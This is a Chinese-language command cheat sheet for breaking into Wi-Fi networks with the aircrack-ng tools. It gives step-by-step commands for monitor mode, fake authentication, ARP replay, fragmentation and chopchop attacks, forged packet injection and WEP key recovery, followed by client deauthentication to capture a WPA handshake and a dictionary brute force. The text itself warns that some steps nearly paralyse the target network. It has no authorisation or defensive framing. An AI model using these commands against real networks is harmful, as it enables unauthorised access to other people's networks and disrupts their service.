airmon-ng start wlan0 9
打开一个网卡监听设备,并设置到channel 9; channel可用iwconfig修改
airodump-ng mon0
无参数启动airodump-ng可查看所有接收范围内的AP、Client信息
aireplay-ng -9 -e (bssid) -a (AP Mac) ath0
测试注入攻击链路质量
airodump-ng -c (channel) --bssid (AP Mac) -w output ath0
监听AP在频道的所有数据包并保存到output文件,此步应在以下步骤提到airodump的时候执行
aireplay-ng -1 0 -e (bssid) -a (AP Mac) -h (Host Mac) ath0
伪认证联机请求
aireplay-ng -1 6000 -o 1 -q 10 -e (bssid) -a (AP Mac) -h (Host Mac) ath0
伪认证联机请求并发送保持在线数据
airodump-ng -c (channel) --bssid (AP Mac) -w output ath0
监听收集
aireplay-ng -3 -b (AP Mac) -h (Host Mac) ath0
监听arp报文,一旦出现就不断将该报文重发,使目标机器产生实际回应数据,发回更多IV数据。
此时若有“内奸”,即有可控制的已经连接在目标网段的机器,ping一个网段内不存在的IP即可产生这样一个arp报文,接下来可以运行aircrack破解了。注意这个步骤可能会对目标局域网产生类似ARP洪水攻击一样的效果,网内数据延时丢包都很严重。
aireplay-ng -5 -b (AP Mac) -h (Host Mac) ath0
Fragmenation攻击,监听一个AP广播出来的数据包,并抽离有效的伪随机数据(PRGA),保存到fragment-XXXX-XXXXX.xor文件供下一步使用.
有时监听到的不是广播包,转发攻击后ap没有回应,一系列重试后程序会重新监听; 有时候可能需要不少时间,加-F参数可以自动应答。
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0
chopchop攻击,上述攻击不奏效可试,相同作用
packetforge-ng -0 -a (AP Mac) -h (Host Mac) -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request
根据fragment-0203-180343.xor文件的PRGA,产生arp请求包,保存到arp-request文件
airodump-ng -c (channel) --bssid (AP Mac) -w output ath0
监听收集
aireplay-ng -2 -r arp-request ath0
不断注入上述产生的arp-request报文
这一步也会使目标网络接近瘫痪,极大延时,丢包。
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b (AP Map) -h (Host Mac) ath0
上述产生、发送arp-request的步骤可由这一步替换,这是转发任何一个收到的有效数据包,方便,缺点是若数据包较大,转发过程较慢。还可使用-r capture-01.cap读取以前读取的有效数据进行转发注入。
aircrack-ng -b (AP Mac) capture*.cap
解密
aircrack-ng -b (AP Mac) capture*.cap
另一种解密算法
airodump-ng -c (channel) --bssid (AP Mac) -w output ath0
监听捕捉另外一客户端与ap之间的连接,上方出现WPA handshake: xx:xx...为成功
aireplay-ng -0 1 -a (AP Mac) -c (The Mac of a connected client) ath0
往已经连接到ap的一个客户端伪造一个离线包,使其离线重连以便捕捉handshake.
注意要收到ACK,才表明被攻击客户端收到,才会下线;发送离线不宜过密过多。
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 output*.cap
暴力破解。password.lst为密码字典,破解的成功率取决于字典的覆盖程度以及机器的速度。
This work, unless otherwise expressly stated, is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
联系客服